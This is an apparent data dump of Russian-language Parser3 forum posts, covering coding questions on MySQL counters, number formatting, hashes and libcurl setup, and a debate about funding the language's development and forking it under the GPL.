Рассуждаю чисто теоретически, т.к. на практике for update еще не доводилось использовать :-)"
"76352","Мускуль заблокирует запись при апдейте в любом случае. А хак тут заключается в том, что после вызова last_insert_id(value) мы получим, в текущем соединении, именно этот value, а не какое-то другое значение. \
\
Это очень удобно для создания последовательностей чисел. Например, если у нас есть табличка с договорами и нам надо иметь разные номера договоров для юридических и физических лиц. В этом случае нам не подходит auto_increment, но можно сделать табличку с парой счетчиков и получать следующий номер договора используя данный метод. Естественно надо сделать так, чтобы начальные значения счетчиков различались на несколько порядков, чтобы не получить пересечение диапазонов. :)"
"76353","Круто! Спасибо, вот это попробую, должно заработать! Класс! :-)"
"76354","Существует ли такое?\
\
Я хочу передать переменные окружения в ^cgi:exec[], но получаю \"not safe environment variable\""
"76355","Где смотреть отладочную информацию? Как перехватить баг?"
"76356","... и еще раз напомню, что \"в Хроме есть инструменты для разработчиков\"."
"76357","Подскажите, как выводить число с разделителем тысяч, типа 700 000.00 ?\
Кроме как регуляркой никак? И насколько это будет быстро работать? Выводить надо порядка нескольких десятков таких чисел за раз."
"76358","Метод numberFormat. Работает быстро. И не стоит боять регулярных выражений - работают они быстро."
"76359","Это вставит ` как разделитель, можно поменять по вкусу.\
\
[code]\
$khryapa[^khryapa.match[(\\d)(?=((\\d{3})+)^$)][g]{$match.1`}]\
[/code]"
"76360","Например добавите:\
$Relise: 2012-02-10 $\
? :)"
"76361","вопрос в другом:\
сейчас на куче хостингов куча parserов версии 3.4.1 которые взяты с Вашего сайта в разное время\
и когда кто-то зовет найти \"а фигли вот тут работает, а тут не работает\" - то первым делом хочется знать а от какой даты компиляции там этот парсер лежит, с тем чтобы хостеру/сайтовладельцу в первую очередь рекомендовать обновиться\
либо (например) сказать в парсере 3.4.1 версии старше 2012-02-28 переменная PARSER_VERSION выглядит как PARSER_VARSION либо обновитесь либо пишите с учётом данного обстоятельства :)\
\
посмотреть на дату создания/модификации - не помогает. ибо не всегда (почти всегда не) совпадает с реальной датой выкладывания сборок у Вас."
"76363","Если нет, то по идеи бинарники на сайте не меняются."
"76364","у себя - да. но это мои сервера и мой парсер, про который я знаю.\
в чужом огороде не всегда можно даже до исполнимого parser.cgi добраться, не то, чтобы скомпилировать"
"76366","Логично что договоры всегда начинаются с 1, а по вашей методике получается,что часть договоров начинается с 1, а вторая с 10000, можно конечно учитывать это смещение, а вдруг пересечется?"
"76367","Делать постоянные юнионы в запросах? ;) \
\
Всегда надо смотреть на реальную ситуацию. У меня договоры для юриков начинаются с 2 млн (так сложилось исторически), поэтому я на 100% уверен, что с физиками они никогда не пересекутся."
"76368","Независимо от даты появления их на сайте. Релизы собираются из одних и тех же исходников. Меняется (и собирается из CVS) beta-версия (сейчас - 3.4.2 beta). И тут уже надо смотреть даты конкретных файлов через ident, чтобы понять, из исходников на какую дату эта сборка."
"76370","Можно спокойно собирать и пользоваться. Чем больше народу будет пользоваться бетой, тем раньше выйдет релиз. :)"
"76371","[code]\
$cn_g[^table::sql{select like_it, image_id from raiting where image_id='$list_img.Id'}]\
\
$count[^eval((^cn_g.menu{$cn_g.like_it}[+])/^cn_g.count[])][/code]\
\
понимаю что тут два разных типа данных\
\
стринг и инт..\
\
но все же.. может есть какойто другой вариант ?"
"76373","проблема в том что\
получается в итоге такой вид\
4 фотки на голосовании\
если вывести часть кода \
[code]^cn_g.menu{$cn_g.like_it}[+][/code]\
\
получается слудующее\
[code]4+1+5 5+1+4 1+2+3 2+3+2\
  1     2     3     4  фотки[/code]\
\
надо их тоже еще как то сложить и все это разделить на количество           голосов по фотке\
\
по сути нашел у себя ошибку.. [code]$count[/code] должна быть на каждую фотку своя...\
\
вот как это можно сделать ?\
\
я получается вывожу под каждой фоткой свой счетчик\
\
[code]^list_img.menu{\
^oSql.server{\
# вытаскиваем для каждой фотки голоса\
$cn_g[^table::sql{select like_it, image_id from raiting where image_id='$list_img.Id'}]\
# плюсуем их\
^cn_g.menu{$cn_g.like_it}[+]\
^rem{\
и вот когда я начинаю счиать в этом цикле\
^eval(^cn_g.menu{$cn_g.like_it}[+])\
выходит ошибка\
4+1+5\
invalid number (double)\
}\
}\
\
}[/code]"
"76374","например, если в ней окажется символ типа &#173 (в юникоде)\
он выводится как есть, без эскейпинга"
"76375","И выбирать сразу в хеш, чтобы было удобно подставлять значение в шаблоне."
"76377","Запрос считает средние значения like_it для каждого изображения. Причем внутри базы, что сильно быстрее вашего кода и без запросов в цикле.\
\
Если речь идет о том как исправить ваш eval, то примерно так:\
[code]\
  $score(0)\
 ^if($tab){\
    ^tab.menu{^score.inc($tab.like_it)}\
    $score($score/^tab.count[])\
  }\
[/code]\
\
Но лучше все-таки посчитать все в СУБД."
"76379","http://json.org/\
\
[code]\
string\
	\"\"\
	\" chars \"\
chars\
	char\
	char chars\
\
char\
	any-Unicode-character-except-\"-or-\\-or-control-character\
	\\\"\
	\\\\\
	\\/\
	\\b\
	\\f\
	\\n\
	\\r\
	\\t\
	\\u four-hex-digits\
[/code]"
"76380","Для поддержки несложных сайтов: \
www.ligo.ru \
www.alutextile.ru \
www.ferrofilm.ru \
www.design.ligo.ru \
\
серверные скрипты — Parser, MySQL и т.д.;\
пользовательские скрипты — Javascript;\
системы динамического обновления — AJAX\
\
Нужно оперативно реагировать на наши задачи. Обещаем своевременно оплачивать все труды.\
\
Контакты: +79112124810 - Александр"
"76381","Просто не понятно как отследить, чем отличается 3.4.1 от HEAD."
"76382","перед релизом я коммичу полный [URL=http://cvsview.parser.ru/cgi/viewcvs.cgi/parser3/ChangeLog?view=log]ChangeLog[/URL]\
\
между релизами можно достать HEAD версию из CVS и самостоятельно сбилдить этот ChangeLog (в WinCVS -- надо выбрать каталог parser3 и далее в меню Macros | Build Changelog | Standard Changelog)"
"76383","Не первый год поклонник Parser'a. В его защиту перед теми, кто пытается меня уговорить слезть с него, предлагая тот же Python, я всегда отвечаю: \"ведь, как правило затраными оказываются операции с БД и Шаблонизатор, и зачем мне под вебсайты использовать какой-либо Шаблонизатор (со своим мета-языком) поверх уже самого по себе скриптового языка типа Питон? А если меряться в категории \"эффективный шаблонизатор\" - то Парсер тут вполне красив - в его названии по сути корни шаблонизатора, писанного на плюсах, только шаблонизатор получился настолько мощным что стал самостоятельным языком. \
\
Однако, в силе его опенсорсности, необходимые плюшки и вещи которые нужны уже сегодня, появляются в нем хаотически по мере свободного от основной работы времени (видимо). Скажу честно, ситуация с Open Source, а скорее с GNU FSF - меня несколько огорчает, потому что она нарушает закон сохранения энергии. Между прочим, многие апологеты (ну кроме Столмана конечно), которые раньше были ярыми защитниками FSF, начинают признавать, что модель FSF не жизнеспособна в чистом виде. При этом хитрый корпорации (напр.RedHat, Oracle), нашли умелое применение OpenSource/FSF - превратив его по сути в долгосрочный trial-version, где все вкусняки для продакшена обычно включены в платную версию, а IT-сообщество осваивает \"бесплатный сыр\" и несет его в проекты, попутно делая технологию популярной и давая фидбек и багтрэк.\
\
Что предлагается, как идея:\
 А что, если главному координатору и его комитерам забацать такую модель: Parser3 + Donate + Voted_FeatureList_by_CostWeight\
Суть такая: есть огромное сообщество, желающее актуальные фичи, пускай каждая фича \"стоит\" определенное кол-во голосов \"за\". Голосовать могут те, кто сделал пожертвование в развитие проекта. Таким образом, и видна шкала, сколько еще нехватает денег/голосов на реализацию конкретной фичи. Само собой, должен быть верховный совет \"здравомыслия\", который говорит почему этого быть не должно или почему та или иная фича, являтся заблуждением толпы. Но в целом, это бы позволило авторам заниматься свободно проектом не в \"свободное от работы\" время, а как работой над своим проектом, без жестких требований и дедлайнов - то есть творчески, но активно.\
\
К примеру, чего мне не хватает для счастья: ну того же FastCGI, к примеру. Я бы сам отдал бы приличную сумму за это - точно, уверен донэйторов на Парсер бы нашлось, а когда такая модель, что ты реально \"пополняешь казну\" для фичи - это просто азарт. Вот представить только: \"например набрано уже xx xxx$ еще 50$ и авторы готовы прикрутить класс работы с Redis\" - это же песня, первый понесу деньги в такой проект, клянусь! :)"
"76384","Я, конечно, не знаком ни с конкретными людьми, не с ситуацией и полной \"свободности\" проекта от студии Лебедева, но если Тема не дурак, то и студии будет выгоднее, если парсер начнет активнее развиваться, да еще и на самообеспечении. Глядишь бы и PAF'a обратно позвали, чего ему там прозибать в телекомах. Если еще прибавить к модели тот факт, что \"подписчки-донейтеры\" получают релиз на квартал/полгода раньше чем основное сообщество, то и вовсе думаю хватило бы на хлеб с маслом более чем. При этом, кто против стимулировать развитие,то у классического фришного сообщества и так остается все так же, как есть сейчас - последний оф.релиз год назад, в котором только-только появилась поддержка JSON..."
"76385","По поводу FastCGI: отчасти он уже [url=\"http://parser.ru/forum/?id=75059\"]есть[/url]. Денежку можно отнести товарищу с форума:-)\
Пару дней назад поигрался с этим делом на тестовой площадке -- работает. Могу чуть подробнее написать, если кому интересно.\
\
По поводу остального вышесказанного: не буду дублировать слова своими соображениями или что-то дополнять, просто подпишусь на такой вариант \"развития\".\
\
Жаль только, что Пафа нам вряд ли удастся заполучить в качестве мега-помощи. Костя, к сожалению, я прав, да?"
"76386","Про wrapper знаю, но это вроде ж немного костыль да и вроде как там не все гладко было что-то с редиректами, плюс контроль над кол-вом заранее запущенных процессов... ну как-то по ощущениям должно быть что-то понативнее, но все же не в одном этом суть - это вообще как пример, а надо некоторое количество вкусняшек в принципе.\
P.S.: Про Костю не понял (если что меня Дмитрий зовут), или вы на MoKo намекаете (одно из авторов идеи, указанного в разделе авторы)?"
"76388","Полную работоспособность через враппер не проверял, интересно было просто собрать тестовый конфиг и тесты на скорость погонять.\
Если будут реализовывать fcgi-версию парсера, придётся подобный враппер встраивать нативно, и не думаю, что будет большая разница, лишь конфигурация немного упростится.\
\
Обращался я к Косте Моршневу (MoKo), т.к. он за главного после ухода Пафа. Должен же кто-то ответить на призыв сообщества:-)"
"76389","Как и ранее писал, что готов участвовать финансами, поэтому полностью поддерживаю предложение.\
FastCGI руками-ногами поддерживаю (конечно в виде fast :-) :-) ) и очень хочется memcashed с mongodb."
"76391","пока всё развития Parser делается на... деньги Студии (несколько присланых за 10 лет патчей не в счёт). именно Студия платит деньги мне, за какие-то доработки в Parser. Костя (moko) тратит часть своего времени (==деньги) на развитие Parser, хотя у него есть куча других забот.\
\
Студия платит деньги -- Студия заказывает музыку, разве это не логично?\
\
или кто-то действительно думает, что с помощью donation и/или оплаты требуемых фич что-то может существенно поменяться?\
\
поменяться что-то может только если кто-то ещё начнёт заниматься разработкой. нужна новая фича и готов за неё заплатить -- найди того, кто её тебе за деньги реализует. пришли патч.\
\
если патч в основном нормально реализован и не противоречит идеологии языка -- он будет включен в следующие версии.\
\
другого варианта лично я себе не представляю."
"76392","Еще никто не проснулся и не отписался а для этого полусонного форума минимум неделя, две надо.\
Но судя по всему желающих надо искать во вне, только вот кто согласится вкладывать свои силы в проприетарный проект? Если б студия отдала под GNU GPL а так... Даете мне добро на самостоятельный branch?"
"76393","Миша говорит ровно, то, что мы обсужадали буквально пару дней назад. Если вы готовы вкладываться в Парсер, то просто сделайте это, а не ждите Мишу, МоКо или еще кого-то.\
\
Миша писал:\
[quote]нужна новая фича и готов за неё заплатить -- найди того, кто её тебе за деньги реализует. пришли патч.\
если патч в основном нормально реализован и не противоречит идеологии языка -- он будет включен в следующие версии.[/quote]\
\
Для того чтобы увеличить шансы на попадание в основную ветку Парсера, имеет смысл обсудить фичу на форуме, определить интерфейс, а потом отдавать «своему» программисту."
"76394","Суть изобретения Столлманом GNU GPL была в том, что требования лицензии служат по сути одной цели, предотвратить действие закона об авторском праве на распространяемое открытое программное обеспечение, который запрещает модифицировать и использовать чужой код. А в лицензии парсера пункт 4 написано:\
Все исключительные права, включая авторские права на Программу, принадлежат ООО «Студия Арт. Лебедева» и лично разработчикам, и защищены законами и международными соглашениями об авторских правах.\
Формулировка исключительные права уже мне кажется перечеркивает GPL, но в тоже время трикс с наследованием и перекрытием разногласий в пользу GPL вроде как... \
\
Пусть мне ответят, я могу сохранив изначальное авторство всех кто прописан в манифесте или лицензии отпочковать свою ветку и пойти своим путем, назвав ветку во избежание путаницы, к примеру Марсер?"
"76397","... что Миша четко написал, что его работа над Парсером оплачивается теми, кому нужен парсер, а у Кости и так работы достаточно. Теперь вопрос к остальным участникам разговора: готовы ли вы реально поучаствовать в развитии проекта и сделать что-то полезное самостоятельно? ;)"
"76398","Но суть живучести то была в том, а что если парсер сообщество готово наковырять в фонд ускорения хотелок достаточно чтобы заниматся им... ну вот как то так хотя сам понимаю что Миша более чем прав."
"76399","Есть ли в сообществе человек, который готов собирать пожелания, согласовывать интерфейсы, аккумулировать средства, находить разработчиков на стороне, ставить задачи, контролировать их исполнение и выкладывать результаты? Начать можно с первых двух. :)"
"76400","[quote]Суть изобретения Столлманом GNU GPL была в том, что требования лицензии служат по сути одной цели, предотвратить действие закона об авторском праве на распространяемое открытое программное обеспечение, который запрещает модифицировать и использовать чужой код.[/quote]\
\
что-то странное у вас понимание GNU GPL.\
ознакомьтесь хотя-бы с русской версией её трактовки на [URL=http://ru.wikipedia.org/wiki/GNU_General_Public_License]википедии[/URL]\
\
вот выдержка:\
[quote]Цель GNU GPL — предоставить пользователю права копировать, модифицировать и распространять (в том числе на коммерческой основе) программы (что по умолчанию запрещено законом об авторских правах), а также гарантировать, что и пользователи всех производных программ получат вышеперечисленные права. Принцип „наследования“ прав называется «копилефт» (транслитерация c англ. copyleft) и был придуман Ричардом Столлманом. По контрасту с GPL, лицензии проприетарного ПО «очень редко дают пользователю такие права и обычно, наоборот, стремятся их ограничить, например, запрещая восстановление исходного кода».\
\
Лицензируя работу на условиях GNU GPL, автор сохраняет за собой авторство.[/quote]\
\
P.S. если кратко: делайте fork на здоровье, только распространяйте его под той-же лицензией (GNU GPL) и сохраняйте указание авторства."
"76401","...или вновь созданного под субпроект или на базе существующего - основная суть функционала\
А) Представить конечный топ-набор принятых к todo хотелок, принятых на текущий момент в todo, определить их очередность и трудо/время/стоимость . Курировать такой сайт необязательно одному, функции модеров можно найти и среди действующих поди ;) Пускай будет автоматизированн"
"76402","...который смог бы обеспечить коммуникативное поле (у меня сложилась достаточно подробная концепция). По скольку инициатива юзерская, то есть изве, то как я понимаю кураторский вопрос и должен исходить из этого вне, другими словами кто озвучил тот и груздь? :) \
Положим, концептуальный взгляд на то, как должен выглядеть этот проект с точки зрения функционала у меня есть, но вот по части интерфейсов я не понял - вы о дизайне классов или связками с другими продуктами? Само собой квалификации кодера на плюсах у меня нет (хотя базовые аспекты ANSI C, я помню из далекого прошлого) и знакомых плюсовиков тоже нет, иначе к чему бы мне разводить эту тему, а вот все базовые аспекты понимания HTTP/W3C/JS/DB, пожалуй знаю - то есть, это вопрос поднятый от меня, как от dev/пользователя, желающего вот такой гипотетической модели, назовем ее к примеру Parser Community DevBooster Fund"
"76404","В пессимистичном расчете, как минимум треть заброшены, и пускай десятая более менее активная часть согласна скинуться хотя бы по зеленому червонцу, получаются копейки. Может голосовалку запустить как соц.опрос?\
Ну нравится мне Парсер, ниче поделать не могу. Первые cgi шки начинал с перла ( тошнит до сих пор от его синтаксиса и их девиза -  все можно сделать 1000 разных способов), после красивого \"точечного\" синтаксиса обращения с методами и полями объектов, да и просто шикарный на тот момент класс table вызвал отвращение к PHP,  ну а встроенный механизм защиты от xss в виде  taint'ов и позже интроспекция классов ммм... Надо отдать должное докумёнтацияи языка и первые базовые уроки очень быстро погружают новичка."
"76405","[quote]возлагал на коммуникативный веб-функционал либо сущ. либо отдельного сайта\
[/quote]\
Для этого вполне подходят продукты управления проектами разработки (issues, wiki) с возможностью публичного доступа, например, [url=\"http://redmine.org\"]Redmine[/url] или можно открыть аккаунт на каком-нибудь гитхабу, гуглкоде, битбакете. \
\
[quote]я не понял - вы о дизайне классов или связками с другими продуктами[/quote]\
Я про парсеровский интерфейс новых классов, т.е. он должен быть в «стиле Парсера» и соблюдать некоторые общие соглашения о наименовании функций и свойств. Надо быть готовым разбираться с предметной областью предложений (особенно для всякого nosql). Заодно хорошо бы иметь представление о том как устроен Парсер внутри: как устроены классы и sql-драйверы, какие есть варианты подключения сторонних библиотек и пр. Суметь отстоять предложение, для включения его в основную ветку и т.д и т.п. Работы много и она неблагодарная. :)"
"76406","[quote]а то студия она такая, сегодня нет, а завтра передумает.[/quote]\
можете аргументировать?\
а то как-то неприятно слышать необоснованные упрёки."
"76407","\"коммуникативное поле\" в настоящее время обеспечивает этот форум.\
\
мы обсуждали целесообразность открытия для всех используемjq нами систему управления проектами, но решили, что открытие ничего, кроме переноса части дискуссий из форума туда не даст.\
\
также посчитали, что обсуждать новый функционал, синтаксис и т.п. там имеет смысл только теми, кто понимает в программировании на C++ с Parser3 и имеет хотя-бы небольшие представления о внутреннем устройстве Parser3 (т.е. ковырялся в исходниках). таких, увы, единицы (при этом все достаточно активны и в форуме)."
"76408","Я имел ввиду всего лишь то, что студия она такая - контора коммеческая, и что то вдруг может пойти вразрез объективным интересам и все такое, и таких примеров, когда проект передумал быть свободным - хватает и от более крупых компаний и это совершенно понятно - Just it business, и ничего личного, и я сам за здоровый биз. Поэтому, не понял, что вас обидело, я имел ввиду только контекст коммерческого явления. Сорри если звучало как то иначе."
"76409","По мимо само собой разумеющегося форума, правда с тематической направленностью о развитии, а не все в кучу с просьбами о помощи в коде. В основе идеи, как я писал, не новизна самой возможности предлагать новые фичи, и не в том, чтобы организовать коллаборативный cvs типа гитхаба и пр.\
А создание \"фонда платного ускорения хотелок\". A) ToDo, сформированных, двух-трехэтапным этапным путем: от сырой юзерской мыслепомойки, до одобренного экспертом вида реализации. B) С возможностью голосования на каждом этапе, а на последнем голосованием \"рублем\", определяющим приоритет и очередь реализации.\
\
На первом этапе, идеи в свободном стиле приходят со стороны рядовых пользователей парсера, это стадия фидбэк помойки, из которой отсеиваются потенциально рабочие и в принципе виден массовый тренд нужд. То есть формат \"быть или не быть\".\
На втором этапе, идеи прошедшие помойку обсуждаются с уже более опытными пользователями и дискуссия имеет формат \"если быть, то в каком виде\". \
На третьем этапе, уже обсуждение между непосредственно разработчиками, это как раз та система, которую используете вы сами, и которую можно или неоткрывать, или оставить read-only. \
\
После этого задача выносится в официальную очередь/пул, со своей частной бюджетной шкалой, при этом шкала по каждой задаче не имеет лимита, ведь это отчасти donate-style, однако если сумма отдельной хотелки превысит плановый предел, то координатор/совет может на усмотрение привлечь и платную разработку, коль жажда поскорее получить фичу так поощрена коммунити. Пул делится на то что уже сейчас в разработке и на то, что в очереди на разработку. У меня, как у пользователя, есть азарт в том, чтобы провести в топ желаемое, на это у меня есть денежный инструмент, и идеи и задачи, а также их приоритетность, конкурируют силами потребностей самих пользователей, которые выражены в прямой стимуляции разраблтчиков. \
\
В общем, вот как-то так, социально ориентрованная разработка на платной основе, не нарушающей закон сохранения энергии, а напротив взаимовыгодная, а donate-style делает трудовые и временные рамки творчески более свободными, нежели дедлайны работодателя в классической схеме с наймом кадров. При этом в этой модели, я делаю акцент, как раз, на узком штабе/совете самих разработчиков, которые сами решают вопрос о своем пополнении в ряды - пирог делится между более узким кругом лиц, высвобождая максимальное кол-во их ценного экспертного времени. То есть моя парадигма в том, что энтропия ниже, а значит пройесс эффективнее, если при прочих равных проектом будет занята меньшая группа лиц но большим погружением, нежели толпа отовсюду, приславшая свой досуговый код, который надо будет еще тщательно ревьюить.\
\
Вот как то так... Велосипед или нет, но что-то в этом есть, мне даже кажется, что сама модель очень интересная,это не прямой заказ, который не потянуть рядовому пользователю и это не donate \"в пустоту\", пользователи охотнее будут платить, если хоть что-то получат взамен, а это и возможность вложится в конкретную фишку и более того видеть свой вклад в действии, как прогресс бар подрос на эту величину. Назовем это социальное бюджетирование :)"
"76411","Кстати, тот факт, что индивидуально проплаченные доработки часто ныкаются и не шарятся,  во многом доказывает потенциальную  живучесть такой идеи, поскольку она находится как раз в суперпозиции между 1 и 0, \
между \"я один за все заплатил, и почему я должен это шарить\" и \"бросанием неочивидных сумм с неочевидным эффектом в неочевидное пространство с неочевидной перспективой \""
"76412","То есть, то что пока компании проект коммерчески не интересен, все будет как есть, если завтра ситуация вдруг (ну мало ли) изменится, то появится Parser4.0 ну или Marser 1.0 но уже под другой лицензий - и это её святое право (вспомните RedHat и Fedora), я лишь в этом ключе. А то, что если сказано до текущего момента, что Parser 3.4.0 вроде как GNU GPL (какой-то версии), то я не сомневаюсь что так оно и останется."
"76413","Здравствуйте, нужна помощь с подключением curl.\
\
Скачал библиотеку, положил dllки в /usr/bin/\
Подключаю через \
[code]\
^curl:options[$.library[/usr/bin/libcurl.dll]]\
^curl:version[]\
[/code]\
При открытии страницы выскакивает системное сообщение винды об ошибке:\
Запуск программы невозможен, так как на компьютере отсутствует libidn-11.dll. Попробуйте переустановить программу.\
\
Если прописать другой путь, то парсер выдаст ошибку, что файл не найден:\
failed to load curl library /bin/libcurl.dll: can't open the module\
\
Что не так?"
"76414","Задача, обновить кучу данных в форме.\
Как делаю сейчас.\
[code]<input type=\"hidden\" name=\"id\" value=\"1\">\
<input type=\"text\" name=\"value_1\" value=\"$old_value\">\
<input type=\"hidden\" name=\"id\" value=\"2\">\
<input type=\"text\" name=\"value_2\" value=\"$old_value\">\
...\
<input type=\"hidden\" name=\"id\" value=\"N\">\
<input type=\"text\" name=\"value_N\" value=\"$old_value\">[/code]\
А потом на стороне сервера\
[code]\
$tValue[$form:tables.id]\
$data[$form:fields]\
^tValue.menu{\
	$data.[value_${tValue.field}]\
}\
[/code]\
Хочется как в php\
[code]<input type=\"text\" name=\"value[2]\" value=\"$old_value\">[/code]\
На выходе, таблица или хешь с полями ключ=>значение, ключ то что в []"
"76415","[code]\
<input type=\"text\" name=\"value\" value=\"$old_value\">\
<input type=\"text\" name=\"value\" value=\"$old_value\">\
<input type=\"text\" name=\"value\" value=\"$old_value\">\
...\
$values[$form:tables.value]\
^values.menu{\
  $values.field\
}\
[/code]"
"76416","и?\
то, что завтра теоретически может появиться продукт под другой лицензией, не отменяет лицензию на этот продукт и на созданные на его основе fork-и."
"76417","И... я как раз о том, что незначительный форк тут же может быть обозван новым продуктом, под новой лицензией, теоритически в этом нет ниче необычного и явление встречающееся, поэтому просто мысли вслух что тут еще спорить то? Редхатовский пример, не пример?"
"76418","Я только пояснил, что \"студия, она такая\" это далеко не в смысле \"кинуть\", а всмысле что фришные проекты под крылом живой коммерции, не всегда остаются фришными, все зависит от обстоятельств. Мы ж, обычные паблик пользователи, и не знаем, что там творится внутри. Студия ведь выпускает поди сайты на парсере? И мало ли, придумается нечто коммерческое что пойдет вразрез. \
Да и вообще, это не особо уже имеет значение в контексте предлагаемой идеи, т.к. модель немного другая."
"76419","Не, ну там же к ID привязка наверно нужна, например, в базе обновить.\
Хотя сам делаю также, как max_rip и все устраивает."
"76420","данная хотелка запросто реализуется в несколько строк кода на парсере.\
\
большого смысла встраивать в парсер механизм, который будет отдавать содержимое form в разных форматах я не вижу."
"76421","Не каждый сможет догнать до такого решения.\
Что не говори, о легкости реализации на самом парсере, но в php это киллер фича +)"
"76422","А где находится /usr/bin/, относительно корня сайта?\
Напомню, что для парсера / это корень сайта."
"76423","Другое дело, слабо верю в наличие пути /usr/bin/ под Windows, о которой идет речь. :)\
\
2Specc: положите библиотеку curl рядом с исполняемым файлом парсера, тогда путь можно и не указывать - ^curl:options[$.library[libcurl.dll]] - является значением по умолчанием под Windows. И если в этом случае у вас и вылезает ошибка про libidn-11.dll - скачайте ее и положите в ту же директорию, вероятно она нужна для работы libcurl.dll."
"76424","hash::create создает копию для одноуровневых хешей, а для многоуровневых создает ссылку на исходный хеш.\
Есть 2 куска кода:\
1.[code]	$hData[\
		$.value[111]\
	]\
	$hData1[^hash::create[$hData]]\
	$hData1.value[222]\
	$hData.value=>$hData1.value[/code]\
Получаем 111=>222, т.е. копия успешно создана, при изменении копии основной хеш не изменяется.\
2.[code]	$hData[\
		$.1[\
			$.value[111]\
		]\
	]\
	$hData1[^hash::create[$hData]]\
	$hData1.1.value[222]\
	$hData.1.value=>$hData1.1.value[/code]\
Получаем 222=>222, т.е. создана ссылка, при изменении копии основной хеш изменяется.\
\
Есть ли способ сделать копию многоуровневого хеша, чтобы при изменении копии основной хеш не изменялся?"
"76425","На для каждого ключа делая ^hash::create[…]."
"76427","Понятно.\
Только тогда в копировании нет смысла, т.к. все равно перебирать все вложенные ключи/значения хеша, можно сразу создать новый хеш и забить на копирование.\
\
Жаль, что нельзя сделать копию сразу всего многоуровневого хеша."
"76428","Что касается копирования многоуровнего хеша, сразу возникают вопросы. Например что делать, если в ключах объекты. Опять же в реальной жизни часто бывают дополнительные ограничения - типа копировать, но до определенной глубины, фильтрация, etc. Все это сводит смысл \"просто рекурсивного копирования\" почти до нуля, то есть смысла в буквально таком методе мало."
"76429","Пример: надо обрабатывать хмл разных версий, в которых меняются названия тегов и т.д.\
Создаем конфиг по умолчанию:\
[code]$hConfig[\
	$.fields[\
		$.title[\
			$.tag[title]\
			$.caption[Заголовок]\
		]\
		$.description[\
			$.tag[description]\
			$.caption[Описание]\
		]\
	]\
][/code]\
Создаем конфиг версий:\
[code]$hConfig1[\
	$.12345[\
		$.fields[\
			$.title[\
				$.tag[name]\
			]\
		]\
	]\
][/code]\
Если приходит версия 12345, то в исходном конфиге меняем значение только одного ключа.\
Т.к. обрабатываться могут несколько файлов разных ревизий, то создаем копию исходного конфига и модифицируем его.\
При этом остальной код работает с копией исходного конфига со внесенными изменениями согласно ревизии.\
\
В такой ситуации полное копирование многоуровневого хеша было бы удобно."
"76430","Михаил, мы хотим простимулировать развитие Парсера. Мы не хотим патчить Парсер. Мы хотим, чтобы Вы этим занимались. Может быть, Вы нам предложите вариант соучастия попроще?"
"76431","Вот здесь:\
\
http://www.parser.ru/forum/?id=76405\
\
Желающие участвовать в развитии парсера - без проблем,\
пишите мне на moko@design.ru, буду давать доступ в Redmine,\
использующийся для управления проектом парсера."
"76432","[code]$orig[^table::create{name\
Вася\
}]\
^if(def $orig.test){true}{false}[/code]\
\
index.html(4:15): 'test' column not found [parser.runtime]\
Так и должно быть?"
"76433","def проверяет значение переменной, но ее не удалось получить, поскольку колонки нет в таблице. \
\
Можно написать \
[code]^if(def $orig.fields.test){true}{false}[/code]\
\
или \
[code]^if(^orig.fields.contains[test]){true}{false}[/code]"
"76434","[quote]Оператор возвращает булевое значение (истина/ложь) и отвечает на вопрос «определен ли объект?» Проверяемым объектом может любой объект Parser: таблица, строка, файл, объект пользовательского класса и т.д.[/quote]\
По идеи, колонка не определена. Логично увидеть false, а не словить ошибку."
"76435","До def'а дело не доходит — вы получаете ошибку в момент срабатывания оператора «точка», который пытается получить от объекта переменную по имени test. Объект table вам и сообщает, что такой переменной нет. В хешах есть неявное значение для несуществующих ключей, а у таблицы нет — это просто надо иметь ввиду."
"76437","Если не просто \"хочется\" FastCGI, а есть желание глубоко разобраться в задаче и помочь, как писал Олег здесь - http://www.parser.ru/forum/?id=76405 - пишите на moko@design.ru.\
\
Конкретно с FastCGI проблема в том, что нужна не поддержка FastCGI. В nginx (в отличии от apache) нет встроенного FastCGI сервера, поэтому нужно делать именно свой FastCGI сервер."
"76438","Да, это понятно, что нужен именно сервер, ngnix просто хороший фронтенд и готов слушать \"сервера приложений\", а парсер это интерпретатор, а не сервер, и просто каким-то протоколом тут не отмахаться, это понятно. А достойный сервер - это задача емкая и ответственная, а потому дорогого стоит. В нативном и кошерном исполнении, наверное FastCGI-Парсер-сервер это не просто пул заранее отфорканных процессов интерпретатора, а что то поумнее.\
\
Но топик был не только про FastCGI. Много чего хотелось бы... и все это \"чего\" навряд ли появится \"просто так\" в обозримом будущем. С последними нововведениям в виде GET_свойств, Парсер уж совсем вкусным становится, и жалко как он \"стареет\" не поспевая за миром, ибо нехватает ресурсов для его развития.\
\
Я с удовольствием присоединился бы к разработке, но увы я бессилен в плюсах. Поэтому и написал вот это [url=\"http://www.parser.ru/forum/?id=76409\"]это внизу[/url] развернутое предложение, как идею, и написал её от лица поклонника парсера.\
\
Если говорить, чего еще не хватает для счастья, из серьезных и не очень моментов: ну та же компиляция кода на парсере, в парсерный байт-код, и возможность хранения и запуска таких файлов. Во-первых бы ускорили повторное использование в ответах на запросы неизмененных файлов с кодом, во-вторых, можно сорсники немного припрятывать в коммерческих продуктах, которые не хочешь, чтобы откровенно по рукам бы пошли. То есть, в аналогии с .pyc или .pyo файлов в Питоне, которые лежат рядом с .py \
\
Было дело, мне надо было изменить/заменить определенную байт-последовательность в файле, открытым, как binary, чтобы потом его сохранить (была генерация определенного файла для скачивания, где в особое место в файле подставлялся username и другие данные) - нельзя. Файл, после этого \"бьется\", только в text-режиме можно. Как мне Мisha объяснял, это связано с тем, что парсер работает с функциями замены и прочего в том числе в кодировке utf-8 и посоветовали exec-нуть сторонний скрипт, но я принципиально не хочу exec-ать еще один интерпретатор еще одного языка, я ведь простого хотел: просто открыть произвольную байт-последовательность, изменить, и сохранить без деструкции.\
\
Ну вот Redis прикрутить - очень бы хотелось. Вообще, на связке Nginx > (FastCGI)Parser3 > Redis - можно было бы такие потрясные штуки делать... ммм...  межпроцессные взаимодействия... я не помню уже примера, но тоже. \
\
\
Короче \"назаказывал\" xD"
"76439","Что я, что j-Walker, что Ivan Sergeev, Vint, все \"потребители\" Парсера, и уверен что их намного больше, намекали о том, не чтобы им дали доступ в закрытую систему управления проектом по разработке Парсера, а напротив расшарили \"диалог\" и дали возможность более публичной возможности высказывать и узнавать идеи и задачи, и иметь возможность стимулировать их реализацию денежно. То есть, идея, по сути, целиком изложена в моем посте http://www.parser.ru/forum/?id=76409\
\
